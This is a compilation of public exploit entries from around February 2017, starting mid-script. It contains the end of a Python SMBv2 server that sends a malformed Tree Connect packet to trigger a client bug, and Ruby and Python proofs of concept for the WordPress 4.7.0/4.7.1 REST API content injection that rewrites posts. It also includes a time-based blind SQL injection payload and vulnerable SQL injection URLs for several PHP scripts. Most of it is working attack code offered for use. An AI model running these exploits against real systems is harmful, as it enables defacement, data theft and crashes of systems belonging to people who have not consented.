head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID="\x4d\x00\x00\x00\x00\x04\x00\x00",NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Session challenge SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
#Session Positive
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02":
head = SMBv2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2SessionAcceptData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Tree Connect
if data[16:18] == "\x03\x00":
head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data))
t = SMB2TreeData(Data="C"*1500)#//BUG
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[*]Triggering Bug; Tree Connect SMBv2 packet sent."
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
print "Disconnected from", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),SMB2)
launch.serve_forever()
# Exploit Title: WP Content Injection
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Backbox ubuntu Linux
# Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Credits : Marc, Sucuri, Brute
# usage : gem install rest-client
# Lang : Ruby
require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
"#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
{
"id" => "#{postid}justrawdata",
"title" => "You have been hacked",
"content" => "Hacked please update your wordpress version"
}.to_json,
:content_type => :json,
:accept => :json
) {|response, request, result| response }
if(response.code == 200)
puts "Done! '#{targeturi}/index.php?p=#{postid}'"
else
puts "This site is not Vulnerable"
end
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)
sys.exit(0)
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()
update_post(api_url, sys.argv[2], ''.join(new_content))
print('* Update complete!')
Exploit Title: Property Listing Script – Time-Based Blind Injection
Date: 02.02.2017
Vendor Homepage: http://phprealestatescript.org/
Software Link: http://phprealestatescript.org/property-listing-script.html
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
Overview
Advanced PHP Real-Estate Script, we have almost covered the Main features required for a Property Buy and Sell Listing Script.
Vulnerable Url: http://locahost/property-list/property_view.php?propid=443[payload]
Parameter: propid (GET)
Type: AND/OR time-based blind
Simple Payload:
Payload: propid=443' AND SLEEP(5) AND 'FBop'='FBop
# # # # #
# Exploit Title: Itech Inventory Management Software v3.77 - SQL Injection
# Google Dork: N/A
# Date: 02.02.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://www.itechscripts.com/inventory-management-software/
# Demo: http://inventory.itechscripts.com/
# Version: 3.77
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as employee user
# http://localhost/[PATH]/notice-edit.php?aid=[SQL]
# E.t.c...
# # # # #
# # # # #
# Exploit Title: Itech News Portal Script v6.28 - 'sc' Parameter SQL Injection
# Google Dork: N/A
# Date: 02.02.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/news-portal-script/
# Demo: http://news-portal.itechscripts.com/
# Version: 6.28
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/subcategory.php?sc=[SQL]
# E.t.c.
# # # # #
# # # # #
# Exploit Title: Itech Movie Portal Script v7.37 - SQL Injection
# Google Dork: N/A
# Date: 02.02.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/movie-portal-script/
# Demo: http://movie-portal.itechscripts.com
# Version: 7.27
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/faq_show.php?fid=[SQL]
# http://localhost/[PATH]/cms.php?id=[SQL]
# http://localhost/[PATH]/show_news.php?id=[SQL]
# http://localhost/[PATH]/show_misc_video.php?id=[SQL]
# E.t.c... E.t.c...
# # # # #